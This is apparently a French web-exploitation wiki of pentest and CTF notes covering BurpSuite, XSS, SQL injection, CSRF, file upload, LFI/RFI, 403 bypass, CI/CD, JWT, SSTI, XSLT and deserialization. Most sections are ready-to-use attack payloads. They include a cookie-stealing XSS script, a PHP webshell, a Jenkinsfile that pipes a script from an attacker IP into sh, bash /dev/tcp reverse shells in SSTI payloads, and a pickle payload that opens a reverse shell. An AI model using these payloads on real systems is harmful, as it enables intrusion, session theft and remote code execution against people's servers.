Web

[Exploitation/Web] BurpSuite

Introduction

BurpSuite est un proxy développé par PortSwigger utilisé par les attaquants pour effectuer de multiples attaques web.

Il permet notamment d'intercepter des requêtes HTTP pour les modifier et les envoyer.

De plus, il supporte une multitude d'autres fonctions comme les attaques brute force ou MITM.

image.png

Installation

L'outil est déjà installé par défaut sur Kali Linux et Exegol.

Si vous souhaitez l'installez sur votre distribution Linux, téléchargez le script bash depuis le site officiel :

https://portswigger.net/burp/releases/professional-community-2023-10-2-3

FoxyProxy

Cette extension Firefox permet de basculer rapidement d'une configuration Proxy à l'autre sans passer par les paramètres du navigateur.

Elle est très pratique car elle permet de rapidement activer ou désactiver l'utilisation du proxy dans Firefox.

Voici le lien de l'extension :

https://addons.mozilla.org/fr/firefox/addon/foxyproxy-standard/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search

On peut configurer le proxy de burp de la sorte dans les paramètres de FoxyProxy :

image.png

Manuel

Lors du démarrage, passez toutes les étapes afin de démarrer le logiciel jusqu'à accéder à cette interface :

image.pngProxy

Depuis l'interface principale, accédez à l'onglet Proxy :

image.pngOn voit que par défaut l'interception est désactivée, alors activez-la en cliquant sur le bouton Intercept is off afin de changer l'état de Burp et de voir apparaître Intercept is on :

image.pngPar ailleurs, vous pourrez ensuite appuyer de nouveau sur ce bouton pour le désactiver.

On peut maintenant activer le proxy dans Firefox grâce à FoxyProxy :

image.pngDésormais, lorsque vous ferez une requête sur un site web, vous la verrez apparaître dans Burp :

image.png

Après avoir fait des modifications dans votre requête (ou non) vous avez 2 possibilités :

  1. Forward : Envoie la requête.
  2. Drop : Jette la requête à la poubelle.

Repeater

Le mode répéteur dans Burp est souvent plus intéressant que le mode Proxy puisqu'il permet de travailler uniquement sur la requête qui nous intéresse, et surtout il permet d'analyser la réponse.

Pour transférer votre requête dans le mode Repeater il suffit de faire un clic droit sur votre requête depuis le mode Proxy puis cliquer sur Send to Repeater ou utiliser la combinaison CTRL+R.

Vous pouvez ensuite accéder à l'onglet Repeater et voir votre requête.

On peut cliquer sur Send pour envoyer la requête et obtenir la réponse :

image.png

On peut aussi accéder à l'onglet Render qui permet d'obtenir le rendu graĥique de la page.

Remarque : Sur exegol, le message suivant peut s'afficher :

image.pngIl faut donc activer le paramètre comme indiqué : Burp > Settings > Burp's browser > Allow Burp's browser to run without sandbox.

Désormais, l'affichage graphique de la page devrait s'afficher :

image.png

[Exploitation/Web] XSS

Introduction

Les failles XSS pour Cross Site Scripting permettent à un attaquant d'injecter du code dans une page web afin qu'il soit executé côté client. Il existe trois type de XSS qui permettent à un attaquant d'avoir un panel d'attaques plus ou moins grand.

image.png

Les types de XSS

De manière générale, les injections XSS sont possibles lorsque l'application web propose une fonctionnalité mal protégée d'entrée de texte qui est ensuite affichée sur la page.

Il est possible de tester la possibilité d'injection d'un champs grâce au code javascript suivant :

<script>alert('XSS available !');</script>

Si une popup affichant le message "XSS available !" apparait, c'est qu'une XSS est disponible et peut être exploitée.

Ensuite, selon le type de XSS, vous pourrez :

Cette dernière possibilité est certainement l'action la plus intéressante à réaliser avec une XSS.

XSS reflected

Ce type de XSS est sûrement le moins dangereux puisqu'il a la particularité de ne plus être actif après le rafraîchissement de la page.

Cependant, si le champs d'entrée de texte se trouve dans l'URL, il peut être tout aussi dangereux qu'une XSS stored grâce à des techniques de social engineering.

Ainsi, vous pourrez aussi voler des cookies des utilisateurs sous certaines conditions.

XSS stored

Ce type de XSS, aussi appelé XSS permanent, reste sur la page même après le rafraîchissement ce qui facilite la tâche à l'attaquant pour procéder à des attaques.

Ce type de XSS est disponible lorsque le code injecté par l'entrée vulnérable est stockée en base de donnée et est affiché à chaque chargement de la page. 

Ainsi, si l'utilisateur du site se rend sur une page légitime mais vulnérable, il pourra se voir executer des payloads introduit par l'attaquant.

DOM-based XSS

Un peu de la même manière que la XSS reflected, ce type de XSS n'affecte que la page côté client.

En fait, ce type d'attaque est possible lorsque le code javascript est mal protégé et inclut un champs injectable par l'utilisateur.

Par exemple, le code suivant est vulnérable :

let userText = window.location.href.split('input=')[1]; // Récupère la valeur du paramètre 'input' dans l'URL
document.getElementById('zoneAmodifier').innerHTML = userText; // Injection de la valeur dans le DOM

L'attaquant peut l'exploiter de la manière suivante :

https://www.example.com/page?input=<script>alert('XSS DOM-based!')</script>

Un autre exemple de code vulnérable pourrait être celui-ci :

var number = '4';

Voici comment l'exploiter pour faire un alert (qu'on peut remplacer par un autre code Javascript) :

4'; alert(1); //

Bypass WAF

Parfois, il se peut que vous trouviez une XSS sans pouvoir l'exploiter parce qu'un pare-feu applicatif (WAF) vous met des bâtons dans les roues.

Toutefois, les WAF sont généralement basés sur des règles et peuvent être contournés en utilisant quelques techniques.

Majuscules dans les balises

<sCRipt>alert(1)</scRiPt>

Nouvelle ligne

<script>%0d%0aalert(1)</script>

Encodage de l'URL

%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Double encodage de l'URL

%253Cscript%253Ealert(1)%253C/script%253E

Tag Anchor

<a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt: alert&lpar;1&rpar;">

Fonction alerte en majuscule

<script>ALERT(1)</script>

Webhook.site

Ce site en ligne permet de récupérer les cookies d'une victime :

Voici un code Javascript qui permet d'envoyer un cookie en paramètre lorsque le code est exécuté :

<script>var i=new Image(); i.src="<WEBHOOK_LINK>/?cookie="+document.cookie;</script>

Dans le cas où le caractère "+" ne serait pas pris en charge vous pouvez utiliser la fonction concat.

Beef-XSS

Présentation

Cet outil permet à un attaquant d'exploiter des XSS afin d'en tirer profit.

Voici les fonctionnalités proposées par Beef grâce à ses modules :

Voici comment se présente l'interface web de contrôle de Beef pour l'attaquant :

image.png

Installation

Une page github du projet est dédiée à l'installation de Beef : https://github.com/beefproject/beef/wiki/Installation

Vous pouvez aussi exécuter cette commande :

sudo gem install bundler && sudo git clone https://github.com/beefproject/beef && cd beef && sudo apt install libssl-dev && rvm install "ruby-3.0.3" && sudo ./install && sudo bundle install

Manuel

Avant de lancer Beef, il faut éditer le fichier config.yaml afin de définir l'utilisateur et le mot de passe dans la section credentials :

    credentials:
        user:   "beef"
        passwd: "beef1234"

Puis démarrez Beef grâce à cette commande :

sudo ./beef

Quelque chose comme ça devrait s'afficher :

[12:02:58][*] BeEF is loading. Wait a few seconds...
[12:03:01][*] 8 extensions enabled:
[12:03:01]    |   XSSRays
[12:03:01]    |   Social Engineering
[12:03:01]    |   Requester
[12:03:01]    |   Proxy
[12:03:01]    |   Network
[12:03:01]    |   Events
[12:03:01]    |   Demos
[12:03:01]    |_  Admin UI
[12:03:01][*] 303 modules enabled.
[12:03:01][*] 5 network interfaces were detected.
[12:03:01][*] running on network interface: 127.0.0.1
[12:03:01]    |   Hook URL: http://127.0.0.1:3000/hook.js
[12:03:01]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[12:03:01][*] running on network interface: 192.168.2.30
[12:03:01]    |   Hook URL: http://192.168.2.30:3000/hook.js
[12:03:01]    |_  UI URL:   http://192.168.2.30:3000/ui/panel
[12:03:01][*] running on network interface: 172.17.0.1
[12:03:01]    |   Hook URL: http://172.17.0.1:3000/hook.js
[12:03:01]    |_  UI URL:   http://172.17.0.1:3000/ui/panel
[12:03:01][*] running on network interface: 192.168.188.1
[12:03:01]    |   Hook URL: http://192.168.188.1:3000/hook.js
[12:03:01]    |_  UI URL:   http://192.168.188.1:3000/ui/panel
[12:03:01][*] running on network interface: 192.168.192.1
[12:03:01]    |   Hook URL: http://192.168.192.1:3000/hook.js
[12:03:01]    |_  UI URL:   http://192.168.192.1:3000/ui/panel
[12:03:01][*] RESTful API key: d0739ac4656cd46389134e01cd48896b46b559d7
[12:03:01][!] [GeoIP] Could not find MaxMind GeoIP database: '/usr/share/GeoIP/GeoLite2-City.mmdb'
[12:03:01][*] HTTP Proxy: http://127.0.0.1:6789
[12:03:01][*] BeEF server started (press control+c to stop)

Votre serveur de contrôle web Beef est disponible sur toutes vos interfaces sur le port 3000 à l'adresse suivante :

http://localhost:3000/ui/authentication

On peut envoyer un payload de ce type pour infecter les utilisateurs qui se rendent sur la page :

<script src="http://127.0.0.1:3000/hook.js"></script>

[Exploitation/Web] SQL injection

Introduction

Certainement l'une des injections web les plus connues, la SQLi permet de modifier une requête SQL initiale afin d'effectuer des actions non prévues par le concepteur de l'application.

Un attaquant pourrait exploiter cette vulnérabilité afin de contourner un système d'authentification ou récupérer le contenu d'une ou plusieurs tables de la base de données.

image.png

Exploitation manuelle

Bien que des outils comme SQLmap permettent d'exploiter automatiquement les failles SQL, il est toujours intéressant de savoir les exploiter manuellement pour plusieurs raisons :

Pour manipuler manuellement les requêtes, je vous recommande d'utiliser BurpSuite.

Tester l'injection

Les injections SQL sont possibles lorsqu'un paramètre modifiable par l'utilisateur est vulnérable car le développeur n'a pas préparé la requête.

Vous comprenez donc que l'injection SQL fonctionne donc aussi bien avec les paramètres utilisant la méthode GET que la méthode POST, seulement l'exploitation changera. 

On peut tester la vulnérabilité du paramètre grâce au caractère ' qui devrait générer une erreur SQL qui s'affichera dans le cas où l'administrateur n'a pas désactiver le retour des erreurs :

http://monsitevulnerable.com/profil.php?id=id=1'

Contourner l'authentification

Si un formulaire d'authentification est vulnérable, il est possible d'usurper le compte d'un utilisateur ou de l'administrateur sans connaître son mot de passe grâce à l'injection suivante :

pass' OR 1=1 ;--

Afficher les champs d'une table

Il est aussi possible de dumper les tables.

Remarque : on sera limité au nombre de champs affiché initialement sur la page !

1 UNION SELECT 1,username,password FROM users ;--

Time based

Dans le cas où l'administrateur de l'application aurait désactivé l'affichage des erreurs SQL, nous ne pouvons pas afficher directement le résultat de nos requêtes SQL personnalisées sur la page.

Cependant, cela ne signifie en aucun cas que la vulnérabilité est inexploitable !

Puisqu'il n'y a aucun moyen d'avoir un retour visuel, on peut utiliser la fonction SLEEP() qui permet de mettre un délai et ainsi vérifier que la requête aboutie ou n'aboutie pas.

C'est assez rudimentaire mais efficace !

La fonction peut porter un autre nom selon le SGBD utilisé.

Par exemple, pour PostGreSQL il s'agit de PG_SLEEP(). Voici la syntaxe :

1;SELECT PG_SLEEP(2)--

SqlMap

Présentation

Cet outil permet d'automatiser les injections SQL et peut vous faire gagner beaucoup de temps.

Manuel

Voici la syntaxe globale :

sqlmap -u <URL> <OPTIONS>

Voici quelques options intéressantes :

Options
 Descriptifs
--dump
 Permet d'extraire les données sensibles.
--tables
 Affiche les noms des tables dans la base de données.
--columns
 Affiche les noms des colonnes d'une table.
--cookie=" "
 Spécifie le cookie à utiliser pour l'authentification.
--technique=[U|B]
 Définit la technique d'injection à utiliser (U pour Union-Based et B pour Blind).
--delay=
 Définit un temps d'attente entre les requêtes pour contourner certaines protections.
--data=" "
 Spécifie les données POST.
--level=[1-5]
 Définit le niveau de tests de pénétration (de 1 à 5, 5 étant le plus agressif).
--dbms
 Spécifie le type de SGBD utilisé.
--os-shell
 Ouvre un shell sur le système d'exploitation hôte.
--users
 Lance une attaque brute force pour trouver les utilisateurs.
--passwords
 Lance une attaque brute force pour trouver les mots de passe.

[Exploitation/Web] CSRF

Introduction

La faille CSRF pour Cross- Site Request Forgery fonctionne presque sur le même principe que XSS mais a pour objectif de faire exécuter à un utilisateur privilégié, une fonction non accessible en temps normal.

image.pngSource

Exploitation

L'objectif est de trouver une page vulnérable à une injection de code que l'administrateur va visiter.

Ensuite, il faut injecter un formulaire malveillant qui sera automatiquement validé lors du chargement de la page :

<form action="http://challenge01.root-me.org/web-client/ch22/index.php?action=profile" method="POST">
    <input type="text" name="username" value="elieroc" />
    <input type="checkbox" name="status" checked />
</form>
<script>
    document.forms[0].submit();
</script>

[Exploitation/Web] File upload

Introduction

Les injections de code par envoi de fichier sont redoutables sur les pages web puisqu'elles aboutissent généralement à une execution de commande à distance (RCE).

Les sécurités mises en place par les développeurs ne sont parfois pas suffisantes car un tas de paramètres doit être contrôlé avant de permettre l'envoie d'un fichier sur le serveur.

image.pngSource

Exploits

Webshell

<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>

Double extensions

En effet, les formulaires d'envoi de fichiers sont parfois uniquement protégé par un filtre sur l'extension du fichier.

Malheureusement, ce filtre est aisément contournable en mettant une double extension sur votre fichier.

Exemple :

payload.php.png

Ce type d'attaque fonctionne car le navigateur fait du Content-Type-Sniffing sur le fichier pour l'interpreter.

C'est à dire qu'il va l'analyser pour déterminer son type sans se fier à l'extension ou au content-type de l'en-tête du fichier.

Pour l'exploiter il suffit donc de :

Type MIME

Une autre protection est le filtre par type MIME du fichier envoyé.

Les types MIME définissent le format et le type de contenu d'un fichier, permettant de reconnaître et d'interpréter correctement le contenu des fichiers. 

Lors de l'envoi d'un fichier, le type MIME est spécifié dans l'entête de la requête via le paramètre content-type.

Grâce à des outils comme Burp, il est possible de modifier la requête pour modifier ce paramètre et tromper le serveur sur le type de fichier envoyé.

Voici quelques content-type (MIME) qui peuvent vous servir à contourner une protection basée sur le MIME :

Null byte

Lorsque le serveur se base sur l'extension du fichier et sur le MIME du fichier il semble impossible de le duper.

Pourtant, il existe une dernière technique très puissante qui exploite une faiblesse de la fonction basename() utilisé en php pour obtenir le nom  du fichier (ainsi que son extension).

Cette fonction étant codée en langage C, elle est sensible aux caractères ASCII dont le fameux null byte, aussi appelé caractère zéro.

Celui-ci marque la fin d'une chaîne de caractère en délaissant complètement tout les caractères qui peuvent suivre (comme l'extension d'un fichier par exemple).

Pour exploiter cette vulnérabilité, il suffit d'utiliser burp et de modifier la requête de sorte à :

Voici la requête initiale lors de l'envoi du fichier payload.php :

image.png

Et voici la requête modifiée :

image.png

Une fois la requête envoyée et le fichier correctement envoyé sur le serveur, il ne reste plus qu'à trouver le chemin du fichier payload.php (et non payload.php%00.jpeg car la fonction basenaem() a retiré toute cette partie du nom du fichier).

[Exploitation/Web] LFI / RFI

Introduction

Les vulnérabilités web LFI pour Local File Inclusion et RFI pour Remote File Inclusion sont utilisées pour accéder à des ressources non autorisées sur le serveur cible.

Elles exploitent généralement un paramètre mal protégé qui utilise souvent une fonction include (notamment en PHP).

image.pngSources

LFI

Exploitation traditionnelle

Admettons le cas d'une page web index.php avec  un paramètre page pour inclure d'autres fichiers tels que 1.php situé dans le même dossier /var/www/html.

Vous pourriez accéder au fichier /etc/passwd grâce à l'injection suivante :

http://example.com/index.php?page=../../../etc/passwd

Null byte

Vous pourriez aussi utiliser un nullbyte pour supprimer un filtre basé sur l'extension du fichier de la manière suivante :

http://example.com/index.php?page=../../../etc/passwd%00

Encodage

Parfois, certains filtres vérifient la présence du caractère "/" ou "." par exemple.

Vous pourriez le faire en encodant ou en double-encodant ces caractères :

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Wrapper PHP

Dans des cas spécifiques vous allez devoir utiliser des wrappers qui sont des fonctions php qui permettent notamment d'accéder à des ressources.

 RFI

Exploitation traditionnelle

Si une RFI est exploitable, il vous faudra monter un serveur web, héberger un reverse shell php dessus, lancer un listener et exécuter votre payload de la manière suivante : 

http://example.com/index.php?page=http://attacker.com/mal.php

[Exploitation/Web] Bypass 403

Introduction

Il arrive parfois que certaines ressources soient protégées sur des applications web et que lorsque vous essayez d'y accéder, vous obteniez l'erreur 403 Forbidden .

Dans ce cas précis, il est parfois possible de contourner les sécurités mises en place pour quand même accéder à la ressource.

image.pngSource

Méthodes

Voici la liste des méthodes que vous pouvez essayer de modifier dans l'entête HTTP avec BurpSuite :

GET
HEAD
POST
PUT
DELETE
CONNECT
OPTIONS
TRACE
PATCH
INVENTED
HACK

HTTP Headers

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console

Pour tester toutes ces en-têtes automatiquement, vous pouvez utiliser le script fuzzhttpbypass.

[Exploitation/Web] IP spoofing

Introduction

Il se peut qu'une ressource d'un site web soit protégé par un filtre d'adresse IP.

Dans ce cas, il est parfois possible de contourner cette restriction en faisant croire au serveur que la requête provient d'une adresse IP légitime en modifiant l'en-tête.

image.png

Manuel

Depuis Burpsuite, on peut modifier les requêtes HTTP et ainsi, falsifier l'adresse IP source indiquée dans la requête.

Pour cela, il suffit d'ajouter dans l'en-tête de la requête, le champ suivant : 

X-Forwarded-For: <SPOOFING_IP>

Remplacer <SPOOFING_IP> par l'adresse que vous souhaitez falsifier pour tromper le serveur.

[Exploitation/Web] CI/CD

Introduction

Cette page décrit différentes exploitations de vulnérabilités dans le processus CI/CD qui peuvent être exploitées au profit d'un attaquant.

image.png

Techniques

Build Process

Dans le cas où vous auriez accès à un dépôt Git avec un accès à un JenkinsFile, vous pourriez le modifier pour prendre le contrôle de l'agent Jenkins.

Pour cela, vous pouvez créer un fork du projet pour modifier le JenkinsFile de la sorte :

pipeline {
    agent any
    stages {
       stage('build') {
          steps {
              sh '''
                    curl http://<ATTACKER_IP>:8080/shell.sh | sh
                '''                 
              }             
          }
       }       
    }

Vous devez au préalable créer votre payload et l'héberger sur votre serveur web.

Vous pouvez ensuite faire un Merge Request pour lancer la pipeline et exécuter le payload.

Build server

Si vous possédez les identifiants du serveur web Jenkins, vous pouvez utiliser Metasploit pour lancer une RCE :

msfconsole
use exploit/multi/http/jenkins_script_console
set target 1
set payload linux/x64/meterpreter/bind_tcp
set password jenkins
set username jenkins
set RHOST jenkins.tryhackme.loc
set targeturi /
set rport 8080
run

[Exploitation/Web] Encodage

Introduction

Lors de vos attaques web vous aurez besoin d'encoder vos payloads sous divers formats. Cette page liste des outils qui vous permettront de le faire.

Manuel

Urlencode

Cet outil peut être installé sur les distributions Debian de cette façon :

apt install gridsite-clients

Il permet d'encoder au format URL vos payloads directement depuis le shell :

urlencode <STRING>

Cyberchef

Encodage Unicode

Cette technique permet de contourner certaines solutions de sécurité :

image.png

[Exploitation/Web] JWT

Introduction

Les JWT pour JSON web tokens sont des jetons utilisés un peu de la même manière que les cookies qui permettent de gérer l'authentification à une page. Ils sont segmentés en 3 parties séparées par des points :

image.png

Exploitation

Basique

Une fois connecté avec un utilisateur vous devriez avoir un jeton JWT. Pour l'obtenir, vous pouvez l'intercepter avec Burp.

Ensuite, vous pouvez le modifier grâce au site suivant :

Voici un outil très pratique pour l'exploitation de JWT :

Pour lancer un brute force sur la signature pour retrouver le secret :

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY2l0b3llbiIsImV4cCI6MTc0NzkzNjM1MH0.bRAr9miwEjxU72VPhiRZU94LCW5JBh2SlbLBZ_ENByA -C -d /usr/share/wordlists/rockyou.txt

Pour générer un nouveau token à partir du secret trouvé :

./jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicGFscGF0aW5lIiwiZXhwIjoxNzQ3OTM1OTI4fQ.ss9aaYq766iYwebp8_9HouNXMN-QWgCsfaT2oaBo5jw -p "kaitlynn4" -pc user=palpatine -S hs256

 

[Exploitation/Web] SSRF

Introduction

Le SSRF pour Server-Side Request Forgery est une vulnérabilité où un attaquant exploite une fonctionnalité d’un serveur pour envoyer des requêtes illégitimes. Contrairement aux attaques traditionnelles, le SSRF tire parti de la capacité du serveur à faire des requêtes en son nom, permettant ainsi à l'attaquant de contourner les restrictions de sécurité. Cela peut conduire à l'accès non autorisé à des systèmes internes, à l'exfiltration de données, ou même à l'exécution de commandes sur le serveur ciblé.

Fiche explicative

1724328202701.gif

[Exploitation/Web] SSTI

Introduction

La vulnérabilité SSTI, pour Server-Side Template Injection, permet à un attaquant d’injecter du code malveillant dans un moteur de template côté serveur, pouvant conduire à l’exécution de commandes à distance. Cette faille va exploiter les moteurs de templating comme Jinja ou autre, il faut donc trouver quel est le moteur de détection pour trouver l'exploit correspondant.

image.png

Cheat-sheet

Jinja (Python)

Tout d'abord, testez l'injection avec un payload simple :

{{ 7*7 }}

Si le résultat de l'opération vous est retourné (49), cela signifie que le champ injecté est vulnérable !

Puis pour exécuter une commande :

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Ou pour lire un fichier sur le serveur :

{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}

Et pour exécuter un reverse shell :

{{ ''.__class__.__mro__[1].__subclasses__()[59]("bash -c 'bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1'", shell=True, stdout=-1).communicate() }}

Freemarker (Java)

Détection :

${7*7}

Pour exécuter une commande :

${"freemarker.template.utility.Execute"?new()("id")}

Ou pour lire un fichier sur le serveur :

${"freemarker.template.utility.ObjectConstructor"?new()("java.io.File").new("/etc/passwd").read()}

Thymeleaf (Java)

Détection :

th:text="${7*7}"

Éxecution de commande :

th:text="${T(java.lang.Runtime).getRuntime().exec('id')}"

Accès aux variables d'environnements :

th:text="${T(System).getenv()}"

Velocity (Java)

Détection :

#set($x = 7 * 7)$x

Éxecution de commande :

#set($cmd = 'id')
#set($process = $runtime.exec($cmd))
$process.waitFor()
$process.exitValue()

Smarty (PHP)

Détection :

{$smarty.version}

Éxecution de commande :

{system('id')}

Lecture de fichier :

{file_get_contents('/etc/passwd')}

Twig (PHP)

Détection :

{{ 7*7 }}

Éxecution de commande :

{{ "id"|system }}

Lecture de fichier :

{{ include('/etc/passwd') }}

Handlebars (JavaScript)

Détection :

{{7*7}}

Éxecution de commande :

{{#with "constructor" as |c|}}{{c.constructor("return process")().mainModule.require("child_process").execSync("id").toString()}}{{/with}}

 

[Exploitation/Web] XSLT

Introduction

La vulnérabilité XSLT (Extensible Stylesheet Language Transformations) survient lorsqu’un moteur de transformation XML mal sécurisé permet à un attaquant d’injecter ou d’exécuter du code XSLT arbitraire, pouvant mener à l’exfiltration de données, l'exécution de commandes ou l'accès non autorisé au système.

image.png

Sources

Cheat-sheet

Admettons le code suivant pour la page web vulnérable :

<?php
  // Load the XML source
  $xml = nex DOMDocument;
  $xml->load('collection.xml');
  
  $xml = nex DOMDocument;
  $xml->load($_GET['xsl']);
  
  // Configure the transformer
  $proc = new XSLTProcessor;
  $proc->registerPHPFunctions();
  $proc->importStyleSheet($xml);
  
  echo $proc->transformToXML($xml);
?>

Ici, le paramètre xsl est passé via la méthode GET mais dans votre cas il pourrait s'agir d'un paramètre POST ou même d'un paramètre passé via le User-Agent.

XSS

<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”>
<xsl:template match=”/”>
<script>alert(document.cookie)</script>
</xsl:template>
</xsl:stylesheet>

Éxecution de code PHP

<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”>
<xsl:template match=”/”>
<xsl:value-of select=”php:function(‘passthru’,’ls -la /’)”/>
</xsl:template>
</xsl:stylesheet>

Lecture de fichier

<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”>
<xsl:template match=”/”>
<xsl:copy-of select=”document(‘.htpasswd’)”/>
</xsl:template>
</xsl:stylesheet>

Remarque concernant le payload

Parfois vous allez injecter toute la ligne :

<xsl:value-of select=”php:function(‘passthru’,’ls -la /’)”/>

Mais parfois vous allez pouvoir injecter uniquement le paramètre fournit à select, votre payload devra alors ressembler à :

php:function('passthru','ls -la /')

[Exploitation/Web] Déserialisation

Introduction

Parfois, le serveur web a besoin d'enregistrer des données dans un fichier pour les recharger à un autre moment. Il fait donc de la sérialisation pour enregistrer un ou plusieurs objets (POO) puis de la déserialisation pour reconstruire les objets à partir du fichier de sauvegarde. Cependant si cette déserialisation n'est pas sécurisée et que vous contrôler ce que vous pouvez mettre dans les objets, vous pourriez injecter du code malveillant qui sera exécuté lors de la déserialisation.

image.png

Manuel

Dans l'exemple ci-dessous on génère un chaîne en base64 qui sera donné à l'application puis lors de la déserialisation, le reverse shell sera exécuté :

import pickle, base64, os

class ReverseShell:
    def __reduce__(self):
        cmd = ('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
               's.connect(("192.168.4.49",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);'
               'os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'')
        return (os.system, (cmd,))

payload = pickle.dumps(ReverseShell())
b64_payload = base64.b64encode(payload).decode()

print(b64_payload)

On balance le payload à l'application :

curl -X POST http://192.168.4.7:8003/decode -H 'Content-Type: application/json' -d '{"text": "gASV9gAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjNtweXRob24zIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC40LjQ5Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSeUhZRSlC4="}'